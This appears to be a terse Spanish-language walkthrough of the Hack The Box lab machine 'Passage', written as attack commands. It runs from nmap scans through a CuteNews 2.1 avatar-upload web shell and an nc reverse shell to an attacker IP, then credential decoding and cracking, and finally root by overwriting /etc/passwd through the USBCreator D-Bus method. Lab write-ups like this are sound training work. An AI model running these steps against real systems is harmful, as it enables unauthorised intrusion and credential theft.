Passage
HTB Linux
nmap -A -p- -oA output 10.129.150.170 —min-rate=10000 —script=vuln —script-timeout=15 -v
nmap -sC -sV -O -p- -oA passage 10.129.150.170
nmap -sU -O -p- -oA passage-udp 10.129.150.170
nikto -h 10.129.150.170:80


whatweb http://10.129.150.170

nmap —script http-enum -p80 10.129.150.170 -oN webScan -Pn


Vemos CuteNews

http://10.129.150.170/CuteNews

searchsploit CuteNews 2.1

http://10.129.150.170/CuteNews/?register

searchsploit -m 48800

cat cmd.php
ghex cmd.php

Le agregamos GIF8; al principio del archivo
file cmd.php

http://10.129.150.170/CuteNews/index.php
Editamos nuestro perfil
Le damos click a “Browse” y subimos el archivo cmd.php
echo “10.129.150.170 passage.htb” | sudo tee -a /etc/hosts http://10.129.150.170/CuteNews/uploads/avatar_cu3rv0x_cmd.php?cmd=nc -e /bin/bash 10.10.14.45 443

nc -lvnp 443

shred -zun 10 -v avatar_cu3rv0x_cmd.php

Despues iniciamos sesion

https://github.com/CuteNews/cutenews-2.0
Vemos como esta estructurado CuteNews
cd /var/www/html/CuteNews/cdata/users

Iniciamos un shell de python
hashlib.md5(“cu3rv0x”).hexadigest()
Vemos que los primeros dos digitos son 22.
Entonces hacemos un cat a 22.php que seria la informacion para cu3rv0x ya que CuteNews no usa bd.

cat * | grep -v “denied” | base64-d; echo

Creamos un archivo credentials.txt y ponemos las credenciales.
vim credentials.txt
cat credentials.txt | awk ‘{print $2}’ FS=”:”
cat credentials.txt | awk ‘{print $2}’ FS=”:” |xclip -sel xclip

Vamos a crackstation y introducimos las credenciales

credenciales -> paul:atlanta1
su paul

cd ~/.ssh
cat authorized_keys
grep “sh$” /etc/passwd

lsattr

ssh nadav@localhost

whoami
id
ls -al

cat .viminfo

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
gdbus call —system —dest com.ubuntu.USBCreator —object-path /com/ubuntu/USBCreator —method com.ubuntu.USBCreator.Image /home/nadav/file.txt /file.txt true

cp /etc/passwd .
openssl passwd
Creamos una contrase~a. Yo use “test”

En passwd cambiamos la x por 9AyQs.WYSYTuE
Y guardamos el archivo

gdbus call —system —dest com.ubuntu.USBCreator —object-path /com/ubuntu/USBCreator —method com.ubuntu.USBCreator.Image /home/nadav/passwd /etc/passwd true

su root
Ponemos la contrasena que habiamos creado con el openssl
